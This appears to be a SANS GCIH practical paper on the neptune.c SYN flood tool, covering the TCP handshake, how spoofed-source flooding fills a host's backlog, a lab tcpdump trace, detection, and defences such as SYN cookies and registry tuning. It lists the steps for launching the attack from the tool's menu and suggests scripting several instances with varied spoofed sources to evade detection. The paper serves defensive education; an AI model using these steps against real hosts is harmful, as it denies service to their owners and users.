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Neptune.c – the Birth of SYN Flood Attacks 
  By Steven Cardinal 
  Practical Assignment for GCIH v1.5c 
 

Exploit Details: 
 
Name: neptune.c 
Variants: stacheldraht, Tribal Flood Network, TFN2K, trin00 
Operating System: Any TCP/IP based system 
Protocols/Services: Exploits the session establishment function of the TCP protocol. 
Brief Description: Neptune.c generates a SYN Flood attack against a network host by 
sending session establishment packets using a forged source address. The receiving 
host will use up its resources waiting for the session to be confirmed and make itself 
unavailable to legitimate traffic. 

Protocol Description 
 

Originally created to connect military and research facilities, the Internet has 
become a global marketplace. In addition to educational and government entities, new 
and existing businesses are using the Internet as a medium to connect with their 
partners and their customers. With faster and more reliable connections available, home 
use of the Internet is increasing, as well. The architecture of the Internet was designed 
assuming a level of trust among professionals. The openness of the protocols used on 
the Internet have allowed for their exploitation by those with less than honorable 
motives 

 
TCP/IP is the suite of networking protocols currently in use on the Internet. TCP, 

or Transmission Control Protocol, and IP, or Internet Protocol, are the major 
components of this suite. Along with other core protocols such as UDP, TCP and IP 
provide an internetworking framework for applications. Like other networking protocols, 
such as IPX/SPX, TCP/IP uses a layered architecture, with each layer providing specific 
functionality. 
 

The network layer is responsible for passing packets around the network. In the 
TCP/IP protocol suite, the Internet Protocol (IP) is responsible for providing the delivery 
mechanism for packets of data sent between all systems connected to the network. The 
network layer accepts data from the transport layer and sends IP datagrams to the link 
layer, which communicates directly with networking hardware. 
 

The transport layer provides for the flow of data between two hosts. The TCP/IP 
protocol suite has two transport protocols: User Datagram Protocol (UDP) and 
Transmission Control Protocol (TCP). UDP provides a simple transport service for 
applications, but that transportation does not include guaranteed delivery, it is a ‘best 
effort’ protocol. TCP provides a reliable transport service protecting against data loss, 
data corruption, packet reordering and data duplication. TCP accepts data from 
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applications and sends TCP segments to the IP layer. Cisco, a global provider of 
networking products and solutions, explains the following features in their 
documentation: 
 

…the services TCP provides are stream data transfer, 
reliability, efficient flow control, full-duplex operation, 
and multiplexing. 
… 
 
TCP offers reliability by providing connection-oriented, 
end-to-end reliable packet delivery through an 
internetwork. It does this by sequencing bytes with a 
forwarding acknowledgment number that indicates to the 
destination the next byte the source expects to receive. 
Bytes not acknowledged within a specified time period are 
retransmitted. The reliability mechanism of TCP allows 
devices to deal with lost, delayed, duplicate, or misread 
packets. A time-out mechanism allows devices to detect lost 
packets and request retransmission. 
(http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/ip.htm#xtocid2236316) 

 
According to the original specification for TCP, RFC 793: 
 
The Transmission Control Protocol (TCP) is intended for use as a 
highly reliable host-to-host protocol between hosts in packet-
switched computer communication networks, and in interconnected 
systems of such networks. (www.faqs.org/rfcs/rfc793.html) 
 
 

In order to provide this reliability, TCP needs to maintain some status information 
for each TCP connection. Some of this status information is maintained for a system's 
own use, while other information is sent between communicating hosts using fields in 
the header of the TCP segment. The TCP header is shown below. 
 
bit #  
    0                             1 1                             3  
                                  5 6                             1        
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   |   16-bit source port number   | 16-bit destination port number|  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   |                    32-bit sequence number                     |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   |                 32-bit acknowledgement number                 |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   | 4-bit |           |U|A|P|R|S|F|                               |  
   | header| Reserved  |R|C|S|S|Y|I|      16-bit window size       |  
   | length| (6 bits)  |G|K|H|T|N|N|                               |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
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   |      16-bit TCP checksum      |     16-bit urgent pointer     |  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   $                        options (if any)                       $  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
   $                          data (if any)                        $  
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
 
 

The sequence number (bits 32 through 63) is necessary to ensure that the 
communicating hosts know the order in which received packets should be assembled, 
thus providing a mechanism for ensuring the correct ordering of data for the application.  
 

When a connection is initially established with a SYN packet, the TCP sequence 
number field contains the Initial Sequence Number (ISN). TCP guards against data loss 
by using an acknowledgement mechanism that requires the receiver to send back an 
acknowledgement number that contains the next sequence number that is expected. 
This will be the sequence number of the last segment of data that was successfully 
received, plus one.  
 
 By using a series of flags in the segment header, TCP is able to indicate what 
state a particular session is in. For the purposes of neptune.c and SYN Flood attacks, 
we will only look at three of those flags. 
 
* SYN.    Synchronize sequence numbers to initiate a connection. 
* ACK.    Indicates that the number in the acknowledgement field is valid. 
* RST.    Reset the connection. 
 
Using a diagram from RFC 793 we can see the status of these flags throughout a 
session. The following flags are also relevant to the diagram: 
 
* PSH.    The receiver should pass this data to the application as soon as possible. 
* FIN.    The sender has finished sending data. 
 
           active OPEN:  
           ------------                       passive OPEN:  
           init state                         -------------  
            send SYN          +----------+     init state  
   ---------------------------|          |---------------------------  
  /                           |  CLOSED  |                           \  
  |       ------------------->|          |<-------------------       |  
  |      /        CLOSE:      +----------+        CLOSE:      \      |  
  |      |      -----------                    -----------    |      |  
  |      |      clear state                    clear state    |      |  
  V      |                                                    |      V  
+----------+     recv SYN     +----------+     recv SYN     +----------+  
| SYN SENT |----------------->| SYN RCVD |<-----------------|  LISTEN  |  
+----------+     send ACK     +----------+   send SYN,ACK   +----------+  
     |                              |  
     |                              | recv ACK of SYN  
     |                              V  



©
 S

A
N

S 
In

st
itu

te
 2

00
0 

- 2
00

2,
 A

ut
ho

r r
et

ai
ns

 fu
ll 

ri
gh

ts
.

 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

      \     recv SYN,ACK     +------------+  
       --------------------->|ESTABLISHED |  
              send ACK       +------------+  
                                 |    |  
+----------+       CLOSE:        /    \       recv FIN      +----------+  
|          |<--------------------      -------------------->|          |  
|FIN WAIT-1|      send FIN                    send ACK      |CLOSE WAIT|  
|          |-----------------------                         |          |  
+----------+                       \                        +----------+  
     |      \                      | recv FIN                     |  
     |       \                     | ---------           CLOSE:   |  
     | recv   \                    | send ACK           --------  |  
     | ACK     \ recv FIN,ACK      |                   send FIN  |  
     V          \------------      V                              V  
+----------+     \send ACK    +----------+                  +----------+  
|FIN WAIT-2|      \           | CLOSING  |                  | LAST ACK |  
+----------+       \          +----------+                  +----------+  
     |              \              |                              |  
     |               \             | recv ACK     recv ACK of FIN |  
     |                \            V                              V  
     |                 \      +----------+                  +----------+  
     |                  ----->|          |     TIMEOUT:     |          |  
      \       recv FIN        |TIME WAIT |----------------->|  CLOSED  |  
       ---------------------->|          |                  |          |  
              send ACK        +----------+                  +----------+  
   
  
 

The TCP connection consists of three major steps, a request, an acknowledgement 
and an agreed upon connection. The initiating host, denoted below as Host1, will 
request a connection with a target server, denoted as Host2. The target server must 
acknowledge the request. The acknowledgement to Host1 indicates that Host2 is willing 
and ready to establish a session, and sets up the bi-directional method of ensuring 
proper data transmission. Host1 must acknowledge the receipt of this message and a 
session will be established. 
 

1. <src=Host1><dst=Host2><flag=SYN><Seq1 12345><Data> 
 
Host1 requests a TCP connection to communicate with Host2. Host1 constructs 
a TCP packet and sets one of the values in the packet to the SYN state. The 
SYN flag indicates that Host1 would like to establish a session. Host1 also needs 
to define its starting sequence number for the synchronization of further 
communications. This randomly generated sequence number (Seq1) is set and 
sent along with the SYN flag. This sequence number will be incremented in each 
successive packet sent by Host1. After receiving the packet from Host1, Host2 
places an entry in its backlog table noting that a session establishment procedure 
is underway. 

 
2. <src=Host2><dst=Host1><flag=SYN-ACK><Seq2 67890><Ack1 

12346><Data> 
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  Host2 creates an acknowledgment packet to send to Host1. This packet 
contains several pieces of information. One piece of information is the 
acknowledgement (ACK) of the packet received from Host1. This confirms the 
receipt of the SYN and agrees to the connection. Host2 will include an 
incremented sequence number (Ack1) indicating which packet it expects to 
receive next from Host1. It also contains its own SYN flag and a randomly 
generated sequence number (Seq2) for its own packet stream. Host1 must 
receive this SYN-ACK packet before establishing the connection. 
 

3. <src=Host1><dst=Host2><flag=ACK><Seq1 12346><Ack2 67891><Data> 
 
  Host1 then generates the final packet to send to Host2. This packet contains 
the ACK flag, the incremented sequence number (Seq1), which is expected by 
Host2, and the incremented sequence number it expects to see next from Host2 
(Ack2). Host2, receiving the packet, sees that a session has been properly 
established and removes the temporary entry from the backlog table indicating 
that the session is now established. 

 

How the exploit works 
 

Developed by the hackers known as daemon9, route and infinity, the neptune.c 
exploit was published in Phrack magazine in July of 1996. Neptune.c and its cousins 
are known as SYN Flooders. These tools function by initiating a connection to the target 
host but never returning the final acknowledgment of the three-way handshake 
previously described. The target host, having sent the SYN-ACK packet, is left waiting 
for the final ACK packet from the attacker. During this waiting period, the host holds the 
entry in its backlog table until the attempt times out. The attacking host continues 
initiating connection establishment sessions. In doing so, the target host’s backlog table 
will be filled. Thus the target host can no longer accept new connections and service 
has effectively been denied. 
 

To begin the process of flooding a host, neptune.c creates multiple SYN packets 
and sends them to the target host. To reliably get back to the sending host, the recipient 
will reply using the original packet’s source address. Ideally, the attacker’s TCP will 
acknowledge the packet and a session will be established. Because the desired effect is 
to prevent the three-way handshake from being completed, the attacker will forge, or 
spoof, the source address of its original SYN packet. Therefore the destination address 
used for the SYN-ACK is not the same as the actual source address of the attacker. 
 

When the target sends the SYN-ACK packet it will send it to the apparent sender 
of the packet based on the source address. If there is a host existing on the network 
using that spoofed address, that host will receive a SYN-ACK packet it wasn’t expecting 
and reply with a reset (RST) command to cancel the session establishment procedure. 
When the target host receives this RST command it will then remove the entry from its 
backlog table. The desired effect is to fill up the backlog table waiting for final ACK 
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packets. To achieve the SYN flood, the forged packet source address must be an 
address that does not exist on the network. Therefore there will be no reply to the SYN-
ACK sent by the target. 
 

Diagram 
 
 In this diagram, Host1 is the attacker, Host2 is the target and Host3 is our non-
existent spoofed address. 
 
<Host1>  ----- (src = Host3, dst = Host2, Seq1=12345, SYN) à  <Host2> 
 
  Host1 sends a SYN packet to Host2 with a spoofed source address.  This occurs 
multiple times in order to fill up Host2’s backlog table. 
 
<Host3> ß  (src = Host2, dst = Host3, Seq1=98765, Ack2=12346, SYN+ACK)---- <Host2> 
 

Host2 replies to the non-existent Host3 once for each SYN packet sent to it by the 
attacker. Each SYN packet received is listed in Host2’s backlog table until it has been 
filled by the attacker on Host1. Since Host3 doesn’t exist, it cannot reply with a RST to 
tear down the connection. Host2 will be unable to service any new connections until 
space is freed up in the backlog table. 
 

A network trace of the exploit, captured by tcpdump on a RedHat Linux 7.1 system, 
looks like this: 
 

18:52:11.337301 10.3.3.3.7173 > 192.168.0.15.80: S 2351624450:2351624450(0) 
win 242 (ttl 255, id 31492) 
18:52:11.337992 192.168.0.15.80 > 10.3.3.3.7173: S 594501320:594501320(0) ack 
2351624451 win 9112 <mss 1460> (DF) (ttl 255, id 43051) 
18:52:11.357302 10.3.3.3.7429 > 192.168.0.15.80: S 2368401666:2368401666(0) 
win 242 (ttl 255, id 31748) 
18:52:11.357975 192.168.0.15.80 > 10.3.3.3.7429: S 594615592:594615592(0) ack 
2368401667 win 9112 <mss 1460> (DF) (ttl 255, id 43052) 
18:52:11.377298 10.3.3.3.7685 > 192.168.0.15.80: S 2385178882:2385178882(0) 
win 242 (ttl 255, id 32004) 
18:52:11.377996 192.168.0.15.80 > 10.3.3.3.7685: S 594745162:594745162(0) ack 
2385178883 win 9112 <mss 1460> (DF) (ttl 255, id 43053) 
18:52:11.397296 10.3.3.3.7941 > 192.168.0.15.80: S 2401956098:2401956098(0) 
win 242 (ttl 255, id 32260) 
18:52:11.398016 192.168.0.15.80 > 10.3.3.3.7941: S 594805488:594805488(0) ack 
2401956099 win 9112 <mss 1460> (DF) (ttl 255, id 43054) 
18:52:11.417297 10.3.3.3.8197 > 192.168.0.15.80: S 2418733314:2418733314(0) 
win 242 (ttl 255, id 32516) 
18:52:11.418481 192.168.0.15.80 > 10.3.3.3.8197: S 594869864:594869864(0) ack 
2418733315 win 9112 <mss 1460> (DF) (ttl 255, id 43055) 
18:52:11.437296 10.3.3.3.8453 > 192.168.0.15.80: S 2435510530:2435510530(0) 
win 242 (ttl 255, id 32772) 
18:52:11.438111 192.168.0.15.80 > 10.3.3.3.8453: S 594997958:594997958(0) ack 
2435510531 win 9112 <mss 1460> (DF) (ttl 255, id 43056) 
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18:52:11.457306 10.3.3.3.8709 > 192.168.0.15.80: S 2452287746:2452287746(0) 
win 242 (ttl 255, id 33028) 
18:52:11.458117 192.168.0.15.80 > 10.3.3.3.8709: S 595031154:595031154(0) ack 
2452287747 win 9112 <mss 1460> (DF) (ttl 255, id 43057) 
18:52:11.477292 10.3.3.3.8965 > 192.168.0.15.80: S 2469064962:2469064962(0) 
win 242 (ttl 255, id 33284) 
18:52:11.478106 192.168.0.15.80 > 10.3.3.3.8965: S 595071925:595071925(0) ack 
2469064963 win 9112 <mss 1460> (DF) (ttl 255, id 43058) 
18:52:11.497292 10.3.3.3.9221 > 192.168.0.15.80: S 2485842178:2485842178(0) 
win 242 (ttl 255, id 33540) 
18:52:11.498399 192.168.0.15.80 > 10.3.3.3.9221: S 595091289:595091289(0) ack 
2485842179 win 9112 <mss 1460> (DF) (ttl 255, id 43059) 
18:52:11.517293 10.3.3.3.9477 > 192.168.0.15.80: S 2502619394:2502619394(0) 
win 242 (ttl 255, id 33796) 
18:52:11.518103 192.168.0.15.80 > 10.3.3.3.9477: S 595120702:595120702(0) ack 
2502619395 win 9112 <mss 1460> (DF) (ttl 255, id 43060) 
18:52:14.500255 192.168.0.15.80 > 10.3.3.3.4613: S 593903557:593903557(0) ack 
2183852291 win 9112 <mss 1460> (DF) (ttl 255, id 43061) 
18:52:14.520100 192.168.0.15.80 > 10.3.3.3.4869: S 593965522:593965522(0) ack 
2200629507 win 9112 <mss 1460> (DF) (ttl 255, id 43062) 
18:52:14.540100 192.168.0.15.80 > 10.3.3.3.5125: S 593990084:593990084(0) ack 
2217406723 win 9112 <mss 1460> (DF) (ttl 255, id 43063) 
18:52:14.560109 192.168.0.15.80 > 10.3.3.3.5381: S 593999494:593999494(0) ack 
2234183939 win 9112 <mss 1460> (DF) (ttl 255, id 43064) 
18:52:14.580139 192.168.0.15.80 > 10.3.3.3.5637: S 594103066:594103066(0) ack 
2250961155 win 9112 <mss 1460> (DF) (ttl 255, id 43065) 
18:52:14.600110 192.168.0.15.80 > 10.3.3.3.5893: S 594179955:594179955(0) ack 
2267738371 win 9112 <mss 1460> (DF) (ttl 255, id 43066) 
18:52:14.620094 192.168.0.15.80 > 10.3.3.3.6149: S 594285018:594285018(0) ack 
2284515587 win 9112 <mss 1460> (DF) (ttl 255, id 43067) 
18:52:14.640116 192.168.0.15.80 > 10.3.3.3.6405: S 594297841:594297841(0) ack 
2301292803 win 9112 <mss 1460> (DF) (ttl 255, id 43068) 
18:52:14.660097 192.168.0.15.80 > 10.3.3.3.6661: S 594353533:594353533(0) ack 
2318070019 win 9112 <mss 1460> (DF) (ttl 255, id 43069) 
18:52:14.680130 192.168.0.15.80 > 10.3.3.3.6917: S 594438996:594438996(0) ack 
2334847235 win 9112 <mss 1460> (DF) (ttl 255, id 43070) 
 
 

The tcpdump output lists the following information: 
 

The timestamp of the packet: This is the time at which the packet was captured. 
This time is based upon the system time of the computer system performing the 
tcpdump monitoring. 
 

The computer that was the source of the packet: This computer host was either 
responsible for generating the traffic or, as is the case when source address spoofing is 
being performed, is thought to be the host generating the packet. In the example above, 
the host 192.168.0.15 is the target host, a Solaris host running the Apache http server. 
The spoofed source address is 10.3.3.3. Unseen in this exchange is the attacking host, 
a RedHat Linux 7.1 host running at 192.168.0.10. 
 

The tcp port being used to send the packet from the source host: When a 
computer host sends a packet, there must be an address for the destination host to 
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reply to, this is a combination of host address and port address. This can be compared 
to the return address on a piece of US Mail – If sent from someone in an apartment 
building, and apartment number (the port) must accompany the apartment building 
address (the IP address). 
 

The computer that was the destination of the packet: This is the address of the 
computer for which the packet is intended. 
 

The tcp port that was the destination for the packet: Similar to the source port, 
the destination port is a specific application installed on the destination computer that is 
listening for a packet – either a response to a packet that it had sent, or a request from 
an application desiring service. In our analogy to the US Mail, the destination must 
consist of the address of the apartment building and the apartment number for the 
recipient. 
 

The tcp flag: Numerous flags can be set during a network session – These flags 
could be some combination of SYN (S), RST (R), PSH (P) or FIN (F). It is also possible 
that no flags have been set. This is denoted by a ‘.’. In this case, we see numerous SYN 
packets being sent, denoting that the sending computer desires a network session. 
 

The data sequence number: This set of numbers indicate the range of sequence 
numbers representing the user data, with the number of bytes of user data listed in 
parentheses. In the network trace above, no user data has been transferred, as session 
establishment is still underway.  
 

A possible ACK flag with a sequence number: If the packet is an 
acknowledgement of a received SYN packet, the ACK flag will be set and a sequence 
number listing the next expected packet the sender is expecting to receive. 
 

The window available for receiving data: The sending computer can indicate how 
much buffer space has been set aside for the receiving of data. A large window 
indicates that higher performance data transfers can be attempted. If the receiving host 
begins to be overwhelmed with traffic, it can reduce the window size, requesting that the 
sender transmit fewer packets until the recipient can recover and get ‘caught up’. 
 

TCP options: These will be listed in angled brackets (<>). In the provided network 
trace output, the tcp option <mss 1460> indicates the Maximum Segment Size. In this 
case, we are running 10Mb Ethernet, which has a maximum segment size of 1460 
bytes. If the hosts are communicating across slow, wide area network (WAN) 
connections this setting may be reduced for better performance. 
 

A Possible ‘Don’t Fragment’ flag. This is denoted by (DF) and indicates that any 
routers which may be involved in the distribution of these tcp packets are not allowed to 
fragment the packets. If this flag is set, the meaning of the maximum segment size 
becomes more important, as the routers aren’t allowed to reduct the packet size for 
better performance. The hosts would be responsible for packet size management. 
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Lastly, we see a Time-To-Live (TTL) setting which indicates how many routers 

this packet may traverse before it is dropped. This setting is designed to prevent 
packets from endlessly travelling around a network. There is also a sequencing id value 
from the legitimate host, and a randomly generated id from the spoofed address.  
 

You can see from the trace, packets being sent with a source address of 
10.3.3.3, our non-existent, spoofed address. The host 192.168.0.15 replies with a 
packet to 10.3.3.3 containing an ack number. After the initial attack, the last occurring 
with the timestamp 18:52:11.517293, the attacked host continues to send out a number 
of SYN-ACK retransmissions. 

How to use the exploit 
 

Neptune.c seems to be designed for use by an end-user of modest computer 
skill. It can be used with either a simple menu system or as a command line program 
with options. We will look at the menu version to demonstrate just how easy it is to 
perform this program. The interface: 
 
 

[  daemon9  ] 
 
[1]             Target:   192.168.0.15 
[2]             Unreachable:  10.3.3.3 
3               Send ICMP_ECHO(s) to unreachable 
[4]             Flooding:   80 
[5]             Number SYNs:            20 
 
6               Quit 
7               Launch Attack 
8               Daemonize 
 

Once the user selects an option the program prompts for a value. Neptune.c is given 
all the information necessary to begin the attack. For example, the following steps were 
followed for this document: 
 

1. Select a target (192.168.0.15).  
2. Choose the address the attack will appear to come from (10.3.3.3).  
3. Ping the address to ensure that it is, in fact, unreachable.  
4. Select a port that the host is listening on, in this example port 80 is selected, 

which is the apache web server. 
5. Choose the number of SYN packets to send (20). 
 

The attacker is now ready to launch the exploit.   
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Even someone with very little C programming skill, such as myself, can compile 
this code on many of the free or inexpensive TCP-based operating systems currently 
available, such as Linux of the various flavors of BSD Unix. 
 

The main limitation of neptune.c lies in its spoofing of a source address. The 
attacker can only specify one source address for each instance of the program. This 
single source address allows for modern routers and firewalls to detect the sudden 
inrush of SYN packets. Today’s routers and firewalls can be configured to take action to 
break the connections based on this sudden flood of packets from a single source 
address. It is possible to reduce this limitation by using neptune.c in command line 
mode. This would require the use of a scripting language to run multiple instances of 
neptune.c with different source addresses. Newer exploits, as previously mentioned, 
automatically give as attacker a randomized source address without doing additional 
scripting. 
 
 

Signature of the attack 
 

To a network monitoring system, a SYN Flood attack seems as though it is 
normal TCP activity. There are systems designed to monitor network traffic looking for 
attacks by comparing certain packet signatures against the passing data stream. These 
are known as Intrusion Detection Systems (IDS). Unless the same source address is 
used in every packet, Intrusion Detection Systems generally cannot provide adequate 
warning of an ongoing attack. Snort, for instance, only sees the attack as a port scan, 
which is so common as to be ignored by most filters. Normal detection of an attack 
usually consists of users experiencing slow response time or an unavailable service. 
When this is noticed, further research can uncover the true cause. 
 

Available on UNIX, Linux, Windows and other operating systems running a TCP 
stack, the netstat command can show the current connection state of the TCP protocol 
on a host. By running netstat –an on a host that is suspected of being under attack, we 
can see a large number of connections in the SYN-RCVD state: 
 
# netstat -an 
 
UDP 
   Local Address         Remote Address     State 
--------------------  --------------------  ------- 
      *   514                            Idle 
      *.*                      Unbound 
 
TCP 
Local Address Remote Address Swind Send-Q Rwind Recv-Q State 
*.*       0 0  0 0 IDLE 
*.21   *.*   0 0  0 0 LISTEN 
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*.23   *.*   0 0  0 0 LISTEN 
*.80   *.*   0 0  0 0 LISTEN 
192.168.0.15.80 10.3.3.3.62726 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.62982 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.63238 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.63494 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.63750 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.64006 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.64262 0 0   9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.64518 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.64774 0 0   9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.65030 0 0  9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.65286 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.7  0 0    9112 0  SYN_RCVD 
192.168.0.15.80 10.3.3.3.263  0 0   9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.519  0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.775  0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.1031 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.1287 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.1543 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.1799 0 0    9112 0 SYN_RCVD 
192.168.0.15.80 10.3.3.3.2055 0 0  9112 0 SYN_RCVD 
 *.*   *.*   0 0    0 0 IDLE 
 

Another method of detecting a SYN Flood attack on the Windows NT and 
Windows 2000 platforms is using the Performance Monitor. 
 

The Windows Performance Monitor has the ability to graph system activity in real 
time, as well as logging activity and generating alerts based upon user-defined 
parameters. Using the graphical interface, system components, such as parts of the 
TCP/IP stack, can be selected for monitoring. 
 

The most important system component that should be monitored for SYN Flood 
attacks is TCP. The system object TCP:Connection Failures indicates how many times 
TCP connections have either transitioned to a CLOSED state from a SYN-SENT or 
SYN-RECEIVED state, or have transitioned to a LISTEN state directly from a SYN-
RECEIVED state. 
 
 Two other counters that should be monitored are TCP:Connections Passive, 
which represents the number of times connections have switched directly from the 
LISTEN state to the SYN-RECEIVED state, and TCP:Connections Reset, which 
represents the number of times connections have switched to the CLOSED state 
directly from either the ESTABLISHED state or the CLOSE-WAIT state. Both of these 
counters will continue to rise through normal activity, but a sudden increase in these 
counters could indicate trouble and certainly should trigger further investigation. 
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Regular use of the logging feature of Performance Monitor will allow for the 
accumulation of normal data to be used as a baseline. Analysis of this baseline should 
allow for the determination of a threshold, above which an attack is likely to be 
occurring. 

How to protect against it 
 

There is no foolproof way to defend against SYN Flood attacks when using the 
current version of the TCP/IP protocol (IPv4). IP version 6 (IPv6) contains newer 
security features that may be implemented to prevent such attacks, but widespread 
adoption of that standard has not yet occurred. The best that can be hoped for is to 
minimize the effect of this type of Denial of Service attack. The solutions vary in 
implementation and effectiveness depending upon the TCP stack in use. Some 
solutions are: 
 

SYN Cookies:  SYN cookies were first implemented in the Linux 2.0.30 kernel. A 
host, upon receiving a SYN packet, will determine if the backlog table is almost full. 
When the backlog table is close to being full, this host will reply with a SYN cookie, 
which is different from a normal SYN-ACK in a number of ways. Information about the 
received SYN, known as a SYN Cookie, is sent back to the host requesting the 
connection as part of the sequence number. Typically, this cookie is taken from the 
client’s Initial Sequence Number (ISN) and modified with an algorithm known only to the 
server. The reply packet also contains the ACK flag. 

 
 Because the SYN Cookie is used, no entry for the partial connection is placed in 

the backlog table. The initiating host then sends the ACK back to the target host.  The 
host will analyze the ACK along with the sequence number (the cookie), analyzing the 
sequence number using its secret algorithm and, if correct, a connection is made. If it is 
incorrect, the target host will determine that this ACK packet is not part of an existing 
connection establishment session. Because no entry is made in the backlog table, the 
system resources used by the table cannot be exhausted. 
 

Faster timeout of entries in the backlog table:  New settings to implement 
faster timeouts of entries in the backlog table are available to Windows NT and 
Windows 2000 systems with the latest service packs applied. By reducing the timeout of 
half-open connections, Windows systems can withstand a SYN Flood for greater 
lengths of time.  
 
 The primary setting available was introduced in Service Pack 5 for Windows NT 
4.0 and has been present in each version since. The registry value SynAttackProtect, 
found under HKEY_LOCAL_MACHINE in the key 
\System\CurrentControlSet\Services\Tcpip\Parameters can be changed from the default 
of 0 (no protection) to either 1, which reduces the restransmission of SYN-ACK retries, 
or 2, which reduces the retransmission of SYN-ACK retries and only commits resources 
to the connection once the three-way handshake has completed. These resources are 
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route cache entries and are managed by the afd.sys driver.  The recommendation is to 
change this value to 2. 
 
 The SynAttackProtect feature is only triggered when the settings for 
TcpMaxHalfOpen and TcpMaxHalfOpenRetries have been exceeded. These settings, 
therefore, should be adjusted as well. 
 

The TcpMaxHalfOpen setting controls how many connections in the SYN-
RECEIVED state are allowed before SynAttackProtect is used. When running Windows 
2000 Advanced Server, the default is 500 and should be reduced, possibly as low as 
200. The default for Windows 2000 Server is 100 and should not require lowering. 

 
The TcpMaxHalfOpenRetries setting controls how many connections in the SYN-

RECEIVED state are allowed after at least one retransmission of the SYN response. 
The default setting for Advanced Server is 400 and should be reduced to 150. The 
default setting for Server is 80 and should not be adjusted. 
 

Microsoft article Q142641 contains details of other available settings regarding 
the control of the backlog table and retransmission of connection responses, while the 
whitepaper “Windows 2000 TCP/IP Implementation Details”, Q238643, contains a great 
deal of information regarding the functionality of the Windows 2000 TCP/IP stack. 

 
Better management of queues: Available on Solaris 2.6 and above from Sun 

Microsystems. Also available as a patch to Solaris 2.5.1. The TCP stack uses two 
queues. The first queue handles incoming, non-established connections. The second 
queue handles all established connections. If the first queue becomes full due to an 
attack, or abnormally high levels of traffic, the oldest half-open connection will be 
removed from the queue, allowing the latest request to come into the queue.  All 
connections which are successfully established are moved from the first queue to the 
second queue. 

 
The size of these queues can be adjusted. Using the ndd utility to set kernel 

parameters, the settings: 
tcp_conn_req_max_q0  (the non-established, first queue) and 
tcp_conn_req_max_q   (the established connection, second queue) 
can be checked and adjusted for your site’s requirements. 
 
AIX, from IBM, uses a similar queueing mechanism. The parameter 

clean_partial_conns, if set to a non-zero number, specifies hom many randomly 
chosen half-open connections to remove from the non-established queue. This value is 
set by the no command. Also available to AIX is the somaxconn parameter which 
determines the size of the backlog table. The default is 1024 bytes and can be adjusted 
on versions 4.1.5, 4.2 and later. 
 

Load balancing:  Numerous devices can be purchased that will direct traffic to 
multiple servers based on current load. By having numerous points of entry into an 
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available service the Denial of Service attack must be directed at each of these entry 
points in order to succeed. 

 
One such solution is the Cisco MultiNode Load Balancing (MNLB). Utilizing 

software installed on Cisco routers and switches, the product Cisco LocalDirector and 
software on the application servers (such as Unix and Windows NT/2000), it is possible 
to setup a group of computers to respond to client requests. Connection routing 
decisions are based upon current server load, number of connections currently being 
serviced by each node and round-robin style connection redirection. More information is 
available at the Cisco web site: 
http://www.cisco.com/warp/public/cc/pd/ibsw/mulb/prodlit/mnlb_ov.htm 
 
 Another solution, available with Windows NT 4.0 Enterprise Edition and Windows 
2000 Advanced Server, is the Windows Load Balancing Service (WLBS). Originally 
designed by Valence Research, Inc, which was acquired by Microsoft, this load 
balancing solution is included with the operating system. These servers utilize message 
passing between servers in a load balancing solution that indicates their current 
availability and workload. Because there are a greater number of high powered servers 
servicing client requests, it takes a much greater flood of SYN packets to take down the 
entire ‘system’. 
 

SYN Flood detection at the border:  There are modern routers and firewalls 
that will keep track of half open connections passing through them. With this 
information, these systems can throttle the number of connection requests allowed to a 
particular host. Unfortunately, these systems tend to be expensive. These systems 
require a great deal of intelligence built into them if they are to be successful. This form 
of analysis also requires a great deal of overhead, not typically found in a router, 
therefore requiring a much greater level of hardware – faster processors, more memory 
and wider I/O channels. 
 

A method for preventing the source of Denial of Service attacks is documented in 
RFC 2267. Through the use of packet filter rules, network administrators and ISPs can 
help prevent their networks from being the source of a Denial of Service attacks. By 
ensuring that any packet leaving the network comes from a legitimate address, packet 
filters can log or prevent many of the attacks and allow investigators to track the 
attempted attack and perhaps find the perpetrator. 
 

Description of variants 
 
 Although neptune.c was one of the first SYN Flood tools to come to light, clever 
programmers have made modern variants far more effective and dangerous. One of the 
